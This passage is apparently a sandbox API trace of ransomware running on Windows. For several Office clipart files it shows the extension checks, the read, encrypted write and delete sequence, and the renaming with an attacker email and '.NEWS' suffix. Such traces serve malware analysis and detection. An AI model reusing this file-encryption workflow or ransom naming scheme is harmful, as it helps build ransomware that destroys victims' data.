(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.110] lstrlenW (lpString=".jpg") returned 4 [0077.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.110] lstrlenW (lpString=".doc") returned 4 [0077.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.111] lstrlenW (lpString=".docx") returned 5 [0077.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.111] lstrlenW (lpString=".pdf") returned 4 [0077.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.111] lstrlenW (lpString=".xls") returned 4 [0077.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.111] lstrlenW (lpString=".xlsx") returned 5 [0077.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.111] lstrlenW (lpString=".ppt") returned 4 [0077.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.111] lstrlenW (lpString=".zip") returned 4 [0077.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.111] lstrlenW (lpString=".rar") returned 4 [0077.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.111] lstrlenW (lpString=".bz2") returned 4 [0077.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.111] lstrlenW (lpString=".7z") returned 3 [0077.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.111] lstrlenW (lpString=".dbf") returned 4 [0077.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.111] lstrlenW (lpString=".1cd") returned 4 [0077.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0077.111] lstrlenW (lpString=".jpg") returned 4 [0077.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.112] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.112] lstrlenW (lpString="AN04323_.WMF") returned 12 [0077.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.112] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2492) returned 1 [0077.112] CloseHandle (hObject=0x358) returned 1 [0077.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0077.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.113] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.113] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.113] GetLastError () returned 0x0 [0077.113] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0077.115] WriteFile (in: hFile=0x330, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0077.116] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.116] WriteFile (in: hFile=0x330, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.116] SetEndOfFile (hFile=0x330) returned 1 [0077.117] CloseHandle (hObject=0x330) returned 1 [0077.118] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.118] SetEndOfFile (hFile=0x358) returned 1 [0077.119] CloseHandle (hObject=0x358) returned 1 [0077.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.586] lstrlenW (lpString=".doc") returned 4 [0077.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.586] lstrlenW (lpString=".docx") returned 5 [0077.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.586] lstrlenW (lpString=".pdf") returned 4 [0077.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.586] lstrlenW (lpString=".xls") returned 4 [0077.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.586] lstrlenW (lpString=".xlsx") returned 5 [0077.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.587] lstrlenW (lpString=".ppt") returned 4 [0077.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.587] lstrlenW (lpString=".zip") returned 4 [0077.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.587] lstrlenW (lpString=".rar") returned 4 [0077.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString=".bz2") returned 4 [0077.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString=".7z") returned 3 [0077.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.587] lstrlenW (lpString=".dbf") returned 4 [0077.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.587] lstrlenW (lpString=".1cd") returned 4 [0077.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.587] lstrlenW (lpString=".jpg") returned 4 [0077.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.587] lstrlenW (lpString=".doc") returned 4 [0077.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString=".docx") returned 5 [0077.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.587] lstrlenW (lpString=".pdf") returned 4 [0077.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString=".xls") returned 4 [0077.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.587] lstrlenW (lpString=".xlsx") returned 5 [0077.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.587] lstrlenW (lpString=".ppt") returned 4 [0077.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.587] lstrlenW (lpString=".zip") returned 4 [0077.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.588] lstrlenW (lpString=".rar") returned 4 [0077.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.588] lstrlenW (lpString=".bz2") returned 4 [0077.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.588] lstrlenW (lpString=".7z") returned 3 [0077.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.588] lstrlenW (lpString=".dbf") returned 4 [0077.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.588] lstrlenW (lpString=".1cd") returned 4 [0077.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0077.588] lstrlenW (lpString=".jpg") returned 4 [0077.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.588] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.588] lstrlenW (lpString="BD00141_.WMF") returned 12 [0077.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.589] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=26886) returned 1 [0077.589] CloseHandle (hObject=0x384) returned 1 [0077.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0077.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.589] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.589] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0077.590] GetLastError () returned 0x0 [0077.590] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x6906, lpOverlapped=0x0) returned 1 [0077.592] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x6910, lpOverlapped=0x0) returned 1 [0077.593] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.593] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.593] SetEndOfFile (hFile=0x33c) returned 1 [0077.593] CloseHandle (hObject=0x33c) returned 1 [0077.595] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.595] SetEndOfFile (hFile=0x384) returned 1 [0077.596] CloseHandle (hObject=0x384) returned 1 [0077.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0077.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.596] lstrlenW (lpString=".doc") returned 4 [0077.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.596] lstrlenW (lpString=".docx") returned 5 [0077.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.596] lstrlenW (lpString=".pdf") returned 4 [0077.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.596] lstrlenW (lpString=".xls") returned 4 [0077.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.596] lstrlenW (lpString=".xlsx") returned 5 [0077.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.597] lstrlenW (lpString=".ppt") returned 4 [0077.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.597] lstrlenW (lpString=".zip") returned 4 [0077.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.597] lstrlenW (lpString=".rar") returned 4 [0077.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".bz2") returned 4 [0077.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".7z") returned 3 [0077.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.597] lstrlenW (lpString=".dbf") returned 4 [0077.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.597] lstrlenW (lpString=".1cd") returned 4 [0077.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.597] lstrlenW (lpString=".jpg") returned 4 [0077.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.597] lstrlenW (lpString=".doc") returned 4 [0077.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".docx") returned 5 [0077.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.597] lstrlenW (lpString=".pdf") returned 4 [0077.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString=".xls") returned 4 [0077.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.597] lstrlenW (lpString=".xlsx") returned 5 [0077.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.597] lstrlenW (lpString=".ppt") returned 4 [0077.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.598] lstrlenW (lpString=".zip") returned 4 [0077.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.598] lstrlenW (lpString=".rar") returned 4 [0077.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.598] lstrlenW (lpString=".bz2") returned 4 [0077.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.598] lstrlenW (lpString=".7z") returned 3 [0077.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.598] lstrlenW (lpString=".dbf") returned 4 [0077.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.598] lstrlenW (lpString=".1cd") returned 4 [0077.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0077.598] lstrlenW (lpString=".jpg") returned 4 [0077.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.598] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.598] lstrlenW (lpString="BD00146_.WMF") returned 12 [0077.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.598] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=28948) returned 1 [0077.598] CloseHandle (hObject=0x384) returned 1 [0077.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0077.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0077.599] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.599] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0077.599] GetLastError () returned 0x0 [0077.599] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x7114, lpOverlapped=0x0) returned 1 [0077.601] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x7120, lpOverlapped=0x0) returned 1 [0077.602] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.602] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.603] SetEndOfFile (hFile=0x33c) returned 1 [0077.603] CloseHandle (hObject=0x33c) returned 1 [0077.608] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.608] SetEndOfFile (hFile=0x384) returned 1 [0077.609] CloseHandle (hObject=0x384) returned 1 [0077.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0077.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.610] lstrlenW (lpString=".doc") returned 4 [0077.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.610] lstrlenW (lpString=".docx") returned 5 [0077.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.610] lstrlenW (lpString=".pdf") returned 4 [0077.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.610] lstrlenW (lpString=".xls") returned 4 [0077.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.610] lstrlenW (lpString=".xlsx") returned 5 [0077.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.610] lstrlenW (lpString=".ppt") returned 4 [0077.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.611] lstrlenW (lpString=".zip") returned 4 [0077.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.611] lstrlenW (lpString=".rar") returned 4 [0077.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString=".bz2") returned 4 [0077.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString=".7z") returned 3 [0077.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.611] lstrlenW (lpString=".dbf") returned 4 [0077.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.611] lstrlenW (lpString=".1cd") returned 4 [0077.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.611] lstrlenW (lpString=".jpg") returned 4 [0077.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0077.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 